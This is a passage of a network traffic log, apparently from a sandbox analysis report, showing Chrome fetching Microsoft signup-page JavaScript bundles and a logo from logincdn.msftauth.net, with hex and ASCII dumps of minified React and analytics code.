r=null;null!==n;)null!==n.alternate&&(r=n),n=n.sibling;null===r?t\|\|null===e.tail?e.tail=null:e.tail.sibling=null:r.sibling=null}}function nl(e,t,n){var r=t.pendingProps;switch(t.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:ca
2024-12-11 18:23:20 UTC	16383	IN	Data Raw: 3d 6e 29 65 3d 65 69 28 65 2c 30 7c 6e 2e 74 69 6d 65 6f 75 74 4d 73 7c 7c 35 65 33 2c 32 35 30 29 3b 65 6c 73 65 20 73 77 69 74 63 68 28 72 29 7b 63 61 73 65 20 39 39 3a 65 3d 31 30 37 33 37 34 31 38 32 33 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 38 3a 65 3d 65 69 28 65 2c 31 35 30 2c 31 30 30 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 37 3a 63 61 73 65 20 39 36 3a 65 3d 65 69 28 65 2c 35 65 33 2c 32 35 30 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 35 3a 65 3d 32 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 68 72 6f 77 20 45 72 72 6f 72 28 6c 28 33 32 36 29 29 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 44 6c 26 26 65 3d 3d 3d 42 6c 26 26 2d 2d 65 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 6f 63 28 65 2c 74 29 7b 69 66 28 35 30 3c 4a 6c 29 74 68 72 6f 77 20 4a Data Ascii: =n)e=ei(e,0\|n.timeoutMs\|\|5e3,250);else switch(r){case 99:e=1073741823;break;case 98:e=ei(e,150,100);break;case 97:case 96:e=ei(e,5e3,250);break;case 95:e=2;break;default:throw Error(l(326))}return null!==Dl&&e===Bl&&--e,e}function oc(e,t){if(50<Jl)throw J
2024-12-11 18:23:20 UTC	16383	IN	Data Raw: 6e 74 56 61 6c 75 65 3d 61 2c 6e 75 6c 6c 21 3d 3d 63 29 69 66 28 73 3d 63 2e 76 61 6c 75 65 2c 30 3d 3d 3d 28 61 3d 56 72 28 73 2c 61 29 3f 30 3a 30 7c 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6f 2e 5f 63 61 6c 63 75 6c 61 74 65 43 68 61 6e 67 65 64 42 69 74 73 3f 6f 2e 5f 63 61 6c 63 75 6c 61 74 65 43 68 61 6e 67 65 64 42 69 74 73 28 73 2c 61 29 3a 31 30 37 33 37 34 31 38 32 33 29 29 29 7b 69 66 28 63 2e 63 68 69 6c 64 72 65 6e 3d 3d 3d 69 2e 63 68 69 6c 64 72 65 6e 26 26 21 76 6f 2e 63 75 72 72 65 6e 74 29 7b 74 3d 65 6c 28 65 2c 74 2c 6e 29 3b 62 72 65 61 6b 20 65 7d 7d 65 6c 73 65 20 66 6f 72 28 6e 75 6c 6c 21 3d 3d 28 73 3d 74 2e 63 68 69 6c 64 29 26 26 28 73 2e 72 65 74 75 72 6e 3d 74 29 3b 6e 75 6c 6c 21 3d 3d 73 3b 29 7b 76 61 Data Ascii: ntValue=a,null!==c)if(s=c.value,0===(a=Vr(s,a)?0:0\|("function"==typeof o._calculateChangedBits?o._calculateChangedBits(s,a):1073741823))){if(c.children===i.children&&!vo.current){t=el(e,t,n);break e}}else for(null!==(s=t.child)&&(s.return=t);null!==s;){va

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49998	152.199.21.175	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:23:23 UTC	608	OUT	GET /shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:23:23 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 10401752 Cache-Control: public, max-age=31536000 Content-MD5: Lih+tBiUAIS5IVkMbmcsng== Content-Type: application/x-javascript Date: Wed, 11 Dec 2024 18:23:23 GMT Etag: 0x8DCB8B8BCF38323 Last-Modified: Fri, 09 Aug 2024 21:17:56 GMT Server: ECAcc (lhc/7922) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 85390ee5-001e-0062-515f-ed96e9000000 x-ms-version: 2009-09-19 Content-Length: 90677 Connection: close
2024-12-11 18:23:23 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6f 6e 65 64 73 2d 61 6e 61 6c 79 74 69 63 73 2d 6a 73 5f 30 37 37 32 31 37 37 34 30 63 38 35 33 62 35 64 34 66 65 38 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 69 64 65 6e 74 69 74 79 5f 73 69 73 75 5f 6d 73 61 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 69 64 65 6e 74 69 74 79 5f 73 69 73 75 5f 6d 73 61 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 37 31 5d 2c 7b 32 32 37 38 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 74 2e 72 28 65 29 2c 74 2e 64 28 65 2c 7b 41 70 70 49 6e 73 69 67 68 74 73 43 6f 72 65 Data Ascii: /! For license information please see oneds-analytics-js_077217740c853b5d4fe8.js.LICENSE.txt /"use strict";(self.webpackChunk_msidentity_sisu_msa=self.webpackChunk_msidentity_sisu_msa\|\|[]).push([[471],{2278:function(n,e,t){t.r(e),t.d(e,{AppInsightsCore
2024-12-11 18:23:23 UTC	1	IN	Data Raw: 72 Data Ascii: r
2024-12-11 18:23:24 UTC	16383	IN	Data Raw: 69 6e 67 22 2c 61 74 3d 22 74 6f 55 54 43 53 74 72 69 6e 67 22 2c 75 74 3d 22 65 78 70 69 72 65 73 22 2c 63 74 3d 6e 75 6c 6c 2c 73 74 3d 6e 75 6c 6c 2c 6c 74 3d 6e 75 6c 6c 2c 66 74 3d 44 65 28 29 2c 64 74 3d 7b 7d 2c 76 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 70 74 28 6e 2c 65 29 7b 76 61 72 20 74 3d 6d 74 2e 5f 63 6b 4d 67 72 7c 7c 76 74 2e 5f 63 6b 4d 67 72 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 6d 74 2e 5f 63 6b 4d 67 72 3d 6d 74 28 6e 2c 65 29 2c 76 74 2e 5f 63 6b 4d 67 72 3d 74 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 6e 29 7b 72 65 74 75 72 6e 21 6e 7c 7c 6e 2e 69 73 45 6e 61 62 6c 65 64 28 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 6e 2c 65 29 7b 72 65 74 75 72 6e 21 21 28 65 26 26 6e 26 26 42 6e 28 6e 2e 69 67 6e 6f 72 65 43 6f 6f 6b Data Ascii: ing",at="toUTCString",ut="expires",ct=null,st=null,lt=null,ft=De(),dt={},vt={};function pt(n,e){var t=mt._ckMgr\|\|vt._ckMgr;return t\|\|(t=mt._ckMgr=mt(n,e),vt._ckMgr=t),t}function gt(n){return!n\|\|n.isEnabled()}function yt(n,e){return!!(e&&n&&Bn(n.ignoreCook
2024-12-11 18:23:24 UTC	16383	IN	Data Raw: 74 65 28 75 29 7d 28 6e 2c 65 2c 74 29 3b 69 7c 7c 28 69 3d 75 29 2c 61 26 26 61 2e 5f 73 65 74 4e 65 78 74 28 75 29 2c 61 3d 75 7d 7d 29 29 7d 72 65 74 75 72 6e 20 72 26 26 21 69 3f 6c 69 28 5b 72 5d 2c 65 2c 74 29 3a 69 7d 66 75 6e 63 74 69 6f 6e 20 66 69 28 29 7b 76 61 72 20 6e 3d 5b 5d 3b 72 65 74 75 72 6e 7b 61 64 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 6e 2e 70 75 73 68 28 65 29 7d 2c 72 75 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 57 6e 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 72 79 7b 6e 28 65 2c 74 29 7d 63 61 74 63 68 28 72 29 7b 72 74 28 65 2e 64 69 61 67 4c 6f 67 28 29 2c 32 2c 37 33 2c 22 55 6e 65 78 70 65 63 74 65 64 20 65 72 72 6f 72 20 63 61 6c 6c 69 6e 67 20 75 6e 6c 6f 61 64 20 68 61 6e 64 6c 65 72 20 2d 20 22 Data Ascii: te(u)}(n,e,t);i\|\|(i=u),a&&a._setNext(u),a=u}}))}return r&&!i?li([r],e,t):i}function fi(){var n=[];return{add:function(e){e&&n.push(e)},run:function(e,t){Wn(n,(function(n){try{n(e,t)}catch(r){rt(e.diagLog(),2,73,"Unexpected error calling unload handler - "
2024-12-11 18:23:24 UTC	2	IN	Data Raw: 72 2e Data Ascii: r.
2024-12-11 18:23:24 UTC	16383	IN	Data Raw: 72 6f 6c 65 56 65 72 2c 74 29 2c 64 29 7d 2c 6e 2e 61 70 70 6c 79 41 49 54 72 61 63 65 43 6f 6e 74 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 3b 69 66 28 74 2e 65 6e 61 62 6c 65 41 70 70 6c 69 63 61 74 69 6f 6e 49 6e 73 69 67 68 74 73 54 72 61 63 65 29 7b 76 61 72 20 72 3d 70 28 29 3b 72 26 26 54 6f 28 32 2c 6e 2c 44 69 2c 28 28 65 3d 7b 7d 29 5b 30 5d 3d 72 2e 67 65 74 54 72 61 63 65 49 64 28 29 2c 65 5b 31 5d 3d 72 2e 67 65 74 4e 61 6d 65 28 29 2c 65 5b 32 5d 3d 72 2e 67 65 74 53 70 61 6e 49 64 28 29 2c 65 29 2c 21 31 29 7d 7d 2c 6e 2e 61 70 70 6c 79 44 69 73 74 72 69 62 75 74 65 64 54 72 61 63 65 43 6f 6e 74 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 2c 74 3d 70 28 29 3b 69 66 28 74 29 7b 76 61 72 20 72 3d 28 28 Data Ascii: roleVer,t),d)},n.applyAITraceContext=function(n){var e;if(t.enableApplicationInsightsTrace){var r=p();r&&To(2,n,Di,((e={})[0]=r.getTraceId(),e[1]=r.getName(),e[2]=r.getSpanId(),e),!1)}},n.applyDistributedTraceContext=function(n){var e,t=p();if(t){var r=((
2024-12-11 18:23:24 UTC	16383	IN	Data Raw: 63 65 65 64 3a 5b 5d 2c 66 61 69 6c 65 64 45 76 74 73 3a 5b 5d 2c 62 61 74 63 68 65 73 3a 5b 5d 2c 6e 75 6d 45 76 65 6e 74 73 3a 30 2c 72 65 74 72 79 43 6e 74 3a 6e 2c 69 73 54 65 61 72 64 6f 77 6e 3a 65 2c 69 73 53 79 6e 63 3a 74 2c 69 73 42 65 61 63 6f 6e 3a 72 2c 73 65 6e 64 54 79 70 65 3a 6f 2c 73 65 6e 64 52 65 61 73 6f 6e 3a 69 7d 7d 2c 6e 2e 61 70 70 65 6e 64 50 61 79 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 69 29 7b 76 61 72 20 6f 3d 74 26 26 72 26 26 21 74 2e 6f 76 65 72 66 6c 6f 77 3b 72 65 74 75 72 6e 20 6f 26 26 47 72 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 53 65 72 69 61 6c 69 7a 65 72 3a 61 70 70 65 6e 64 50 61 79 6c 6f 61 64 22 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d Data Ascii: ceed:[],failedEvts:[],batches:[],numEvents:0,retryCnt:n,isTeardown:e,isSync:t,isBeacon:r,sendType:o,sendReason:i}},n.appendPayload=function(t,r,i){var o=t&&r&&!t.overflow;return o&&Gr(e,(function(){return"Serializer:appendPayload"}),(function(){for(var e=
2024-12-11 18:23:24 UTC	8759	IN	Data Raw: 28 62 3d 7b 7d 29 5b 6a 6f 5d 3d 5b 32 2c 31 2c 30 5d 2c 62 5b 57 6f 5d 3d 5b 36 2c 33 2c 30 5d 2c 62 5b 56 6f 5d 3d 5b 31 38 2c 39 2c 30 5d 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 29 7b 76 61 72 20 72 3d 5b 5d 2c 69 3d 6b 3b 50 26 26 28 69 3d 4e 29 2c 57 6e 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 2e 63 6f 75 6e 74 28 29 3e 30 26 26 57 6e 28 65 2e 65 76 65 6e 74 73 28 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 28 65 2e 73 79 6e 63 26 26 28 65 2e 6c 61 74 65 6e 63 79 3d 34 2c 65 2e 73 79 6e 63 3d 21 31 29 2c 65 2e 73 65 6e 64 41 74 74 65 6d 70 74 3c 69 3f 28 7a 72 28 65 2c 6e 2e 69 64 65 6e 74 69 66 69 65 72 29 2c 41 28 65 2c 21 31 29 29 3a 72 2e 70 75 73 68 28 65 29 29 7d 29 29 7d 29 29 2c 72 2e 6c 65 6e 67 74 68 3e 30 Data Ascii: (b={})[jo]=[2,1,0],b[Wo]=[6,3,0],b[Vo]=[18,9,0]}function G(e,t){var r=[],i=k;P&&(i=N),Wn(e,(function(e){e&&e.count()>0&&Wn(e.events(),(function(e){e&&(e.sync&&(e.latency=4,e.sync=!1),e.sendAttempt<i?(zr(e,n.identifier),A(e,!1)):r.push(e))}))})),r.length>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50002	152.199.21.175	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:23:23 UTC	400	OUT	GET /shared/5/js/signup-fabric_en_OJFs58U2IbmTee9AgFWvyg2.js HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:23:24 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 238416 Cache-Control: public, max-age=31536000 Content-MD5: e3qLuYh9inT0FY3r49umyw== Content-Type: application/x-javascript Date: Wed, 11 Dec 2024 18:23:23 GMT Etag: 0x8DD1553C6AB3FF6 Last-Modified: Thu, 05 Dec 2024 17:39:31 GMT Server: ECAcc (lhc/78A8) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: bdb6cf32-001e-0086-06ce-499877000000 x-ms-version: 2009-09-19 Content-Length: 905221 Connection: close
2024-12-11 18:23:24 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 73 69 67 6e 75 70 2d 66 61 62 72 69 63 5f 65 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 6f 2c 69 3d 7b 35 31 33 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 32 39 35 31 29 2c 6f 3d 7b 63 68 69 6c 64 43 6f 6e 74 65 78 74 54 79 70 65 73 3a 21 30 2c 63 6f 6e 74 65 78 74 54 79 70 65 3a 21 30 2c 63 6f 6e 74 65 78 74 54 79 70 65 73 3a 21 30 2c 64 65 66 61 75 6c 74 50 72 6f 70 73 3a 21 30 2c 64 69 73 70 6c 61 79 4e 61 6d 65 3a 21 30 2c 67 65 74 44 65 66 61 75 6c 74 50 72 6f 70 73 3a 21 30 Data Ascii: /! For license information please see signup-fabric_en.js.LICENSE.txt /!function(){var e,t,n,r,o,i={5135:function(e,t,n){"use strict";var r=n(2951),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0
2024-12-11 18:23:24 UTC	1	IN	Data Raw: 61 Data Ascii: a
2024-12-11 18:23:24 UTC	16383	IN	Data Raw: 6c 6c 28 63 2c 66 2c 69 2e 70 72 6f 70 73 2c 73 29 3a 68 29 26 26 28 6d 3f 28 6d 3d 21 31 2c 66 3d 6f 28 7b 7d 2c 66 2c 68 29 29 3a 6f 28 66 2c 68 29 29 7d 63 2e 73 74 61 74 65 3d 66 7d 7d 65 6c 73 65 20 75 3d 6e 75 6c 6c 3b 69 66 28 4f 65 28 65 3d 63 2e 72 65 6e 64 65 72 28 29 2c 6c 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 2e 67 65 74 43 68 69 6c 64 43 6f 6e 74 65 78 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 28 69 3d 6c 2e 63 68 69 6c 64 43 6f 6e 74 65 78 74 54 79 70 65 73 29 29 7b 76 61 72 20 62 3d 63 2e 67 65 74 43 68 69 6c 64 43 6f 6e 74 65 78 74 28 29 3b 66 6f 72 28 76 61 72 20 79 20 69 6e 20 62 29 69 66 28 21 28 79 20 69 6e 20 69 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 61 28 31 30 38 2c 50 28 6c 29 7c 7c 22 55 6e 6b 6e Data Ascii: ll(c,f,i.props,s):h)&&(m?(m=!1,f=o({},f,h)):o(f,h))}c.state=f}}else u=null;if(Oe(e=c.render(),l),"function"==typeof c.getChildContext&&"object"===r(i=l.childContextTypes)){var b=c.getChildContext();for(var y in b)if(!(y in i))throw Error(a(108,P(l)\|\|"Unkn
2024-12-11 18:23:24 UTC	16383	IN	Data Raw: 43 6f 6e 74 65 78 74 2e 43 6f 6e 73 75 6d 65 72 22 3b 63 61 73 65 20 6c 65 3a 72 65 74 75 72 6e 22 43 6f 6e 74 65 78 74 2e 50 72 6f 76 69 64 65 72 22 3b 63 61 73 65 20 75 65 3a 76 61 72 20 74 3d 65 2e 72 65 6e 64 65 72 3b 72 65 74 75 72 6e 20 74 3d 74 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 74 2e 6e 61 6d 65 7c 7c 22 22 2c 65 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 28 22 22 21 3d 3d 74 3f 22 46 6f 72 77 61 72 64 52 65 66 28 22 2b 74 2b 22 29 22 3a 22 46 6f 72 77 61 72 64 52 65 66 22 29 3b 63 61 73 65 20 66 65 3a 72 65 74 75 72 6e 20 79 65 28 65 2e 74 79 70 65 29 3b 63 61 73 65 20 6d 65 3a 72 65 74 75 72 6e 20 79 65 28 65 2e 72 65 6e 64 65 72 29 3b 63 61 73 65 20 67 65 3a 69 66 28 65 3d 31 3d 3d 3d 65 2e 5f 73 74 61 74 75 73 3f 65 2e 5f 72 65 73 75 6c Data Ascii: Context.Consumer";case le:return"Context.Provider";case ue:var t=e.render;return t=t.displayName\|\|t.name\|\|"",e.displayName\|\|(""!==t?"ForwardRef("+t+")":"ForwardRef");case fe:return ye(e.type);case me:return ye(e.render);case ge:if(e=1===e._status?e._resul
2024-12-11 18:23:24 UTC	16383	IN	Data Raw: 74 79 28 6e 29 29 7b 76 61 72 20 72 3d 30 3d 3d 3d 6e 2e 69 6e 64 65 78 4f 66 28 22 2d 2d 22 29 2c 6f 3d 6f 6e 28 6e 2c 74 5b 6e 5d 2c 72 29 3b 22 66 6c 6f 61 74 22 3d 3d 3d 6e 26 26 28 6e 3d 22 63 73 73 46 6c 6f 61 74 22 29 2c 72 3f 65 2e 73 65 74 50 72 6f 70 65 72 74 79 28 6e 2c 6f 29 3a 65 5b 6e 5d 3d 6f 7d 7d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6e 6e 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 3d 74 2b 65 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 65 2e 73 75 62 73 74 72 69 6e 67 28 31 29 2c 6e 6e 5b 74 5d 3d 6e 6e 5b 65 5d 7d 29 29 7d 29 29 3b 76 61 72 20 6c 6e 3d 69 28 7b 6d 65 6e 75 69 74 65 6d 3a 21 30 7d 2c 7b 61 72 Data Ascii: ty(n)){var r=0===n.indexOf("--"),o=on(n,t[n],r);"float"===n&&(n="cssFloat"),r?e.setProperty(n,o):e[n]=o}}Object.keys(nn).forEach((function(e){rn.forEach((function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),nn[t]=nn[e]}))}));var ln=i({menuitem:!0},{ar
2024-12-11 18:23:24 UTC	16383	IN	Data Raw: 6e 74 69 66 69 65 64 22 21 3d 3d 74 29 72 65 74 75 72 6e 20 74 7d 72 65 74 75 72 6e 22 6b 65 79 70 72 65 73 73 22 3d 3d 3d 65 2e 74 79 70 65 3f 31 33 3d 3d 3d 28 65 3d 72 6f 28 65 29 29 3f 22 45 6e 74 65 72 22 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 22 6b 65 79 64 6f 77 6e 22 3d 3d 3d 65 2e 74 79 70 65 7c 7c 22 6b 65 79 75 70 22 3d 3d 3d 65 2e 74 79 70 65 3f 69 6f 5b 65 2e 6b 65 79 43 6f 64 65 5d 7c 7c 22 55 6e 69 64 65 6e 74 69 66 69 65 64 22 3a 22 22 7d 2c 6c 6f 63 61 74 69 6f 6e 3a 6e 75 6c 6c 2c 63 74 72 6c 4b 65 79 3a 6e 75 6c 6c 2c 73 68 69 66 74 4b 65 79 3a 6e 75 6c 6c 2c 61 6c 74 4b 65 79 3a 6e 75 6c 6c 2c 6d 65 74 61 4b 65 79 3a 6e 75 6c 6c 2c 72 65 70 65 61 74 3a 6e 75 6c 6c 2c 6c 6f 63 61 6c 65 3a 6e 75 6c 6c 2c Data Ascii: ntified"!==t)return t}return"keypress"===e.type?13===(e=ro(e))?"Enter":String.fromCharCode(e):"keydown"===e.type\|\|"keyup"===e.type?io[e.keyCode]\|\|"Unidentified":""},location:null,ctrlKey:null,shiftKey:null,altKey:null,metaKey:null,repeat:null,locale:null,
2024-12-11 18:23:24 UTC	16383	IN	Data Raw: 3d 3d 74 2e 6d 65 6d 6f 69 7a 65 64 50 72 6f 70 73 2e 72 65 76 65 61 6c 4f 72 64 65 72 29 7b 69 66 28 30 21 3d 28 36 34 26 74 2e 65 66 66 65 63 74 54 61 67 29 29 72 65 74 75 72 6e 20 74 7d 65 6c 73 65 20 69 66 28 6e 75 6c 6c 21 3d 3d 74 2e 63 68 69 6c 64 29 7b 74 2e 63 68 69 6c 64 2e 72 65 74 75 72 6e 3d 74 2c 74 3d 74 2e 63 68 69 6c 64 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 74 3d 3d 3d 65 29 62 72 65 61 6b 3b 66 6f 72 28 3b 6e 75 6c 6c 3d 3d 3d 74 2e 73 69 62 6c 69 6e 67 3b 29 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 74 2e 72 65 74 75 72 6e 7c 7c 74 2e 72 65 74 75 72 6e 3d 3d 3d 65 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 74 3d 74 2e 72 65 74 75 72 6e 7d 74 2e 73 69 62 6c 69 6e 67 2e 72 65 74 75 72 6e 3d 74 2e 72 65 74 75 72 6e 2c 74 3d 74 2e 73 69 62 6c 69 6e 67 Data Ascii: ==t.memoizedProps.revealOrder){if(0!=(64&t.effectTag))return t}else if(null!==t.child){t.child.return=t,t=t.child;continue}if(t===e)break;for(;null===t.sibling;){if(null===t.return\|\|t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling
2024-12-11 18:23:24 UTC	5	IN	Data Raw: 3a 6e 3d 65 2e Data Ascii: :n=e.
2024-12-11 18:23:24 UTC	16383	IN	Data Raw: 74 61 69 6c 3b 66 6f 72 28 76 61 72 20 72 3d 6e 75 6c 6c 3b 6e 75 6c 6c 21 3d 3d 6e 3b 29 6e 75 6c 6c 21 3d 3d 6e 2e 61 6c 74 65 72 6e 61 74 65 26 26 28 72 3d 6e 29 2c 6e 3d 6e 2e 73 69 62 6c 69 6e 67 3b 6e 75 6c 6c 3d 3d 3d 72 3f 74 7c 7c 6e 75 6c 6c 3d 3d 3d 65 2e 74 61 69 6c 3f 65 2e 74 61 69 6c 3d 6e 75 6c 6c 3a 65 2e 74 61 69 6c 2e 73 69 62 6c 69 6e 67 3d 6e 75 6c 6c 3a 72 2e 73 69 62 6c 69 6e 67 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 6c 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 70 65 6e 64 69 6e 67 50 72 6f 70 73 3b 73 77 69 74 63 68 28 74 2e 74 61 67 29 7b 63 61 73 65 20 32 3a 63 61 73 65 20 31 36 3a 63 61 73 65 20 31 35 3a 63 61 73 65 20 30 3a 63 61 73 65 20 31 31 3a 63 61 73 65 20 37 3a 63 61 73 65 20 38 3a 63 61 73 65 20 31 32 Data Ascii: tail;for(var r=null;null!==n;)null!==n.alternate&&(r=n),n=n.sibling;null===r?t\|\|null===e.tail?e.tail=null:e.tail.sibling=null:r.sibling=null}}function nl(e,t,n){var r=t.pendingProps;switch(t.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12
2024-12-11 18:23:24 UTC	16383	IN	Data Raw: 65 69 28 65 2c 30 7c 6e 2e 74 69 6d 65 6f 75 74 4d 73 7c 7c 35 65 33 2c 32 35 30 29 3b 65 6c 73 65 20 73 77 69 74 63 68 28 72 29 7b 63 61 73 65 20 39 39 3a 65 3d 31 30 37 33 37 34 31 38 32 33 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 38 3a 65 3d 65 69 28 65 2c 31 35 30 2c 31 30 30 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 37 3a 63 61 73 65 20 39 36 3a 65 3d 65 69 28 65 2c 35 65 33 2c 32 35 30 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 35 3a 65 3d 32 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 68 72 6f 77 20 45 72 72 6f 72 28 6c 28 33 32 36 29 29 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 44 6c 26 26 65 3d 3d 3d 42 6c 26 26 2d 2d 65 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 6f 63 28 65 2c 74 29 7b 69 66 28 35 30 3c 4a 6c 29 74 68 72 6f 77 20 4a 6c 3d 30 2c 65 Data Ascii: ei(e,0\|n.timeoutMs\|\|5e3,250);else switch(r){case 99:e=1073741823;break;case 98:e=ei(e,150,100);break;case 97:case 96:e=ei(e,5e3,250);break;case 95:e=2;break;default:throw Error(l(326))}return null!==Dl&&e===Bl&&--e,e}function oc(e,t){if(50<Jl)throw Jl=0,e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50001	152.199.21.175	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:23:23 UTC	635	OUT	GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
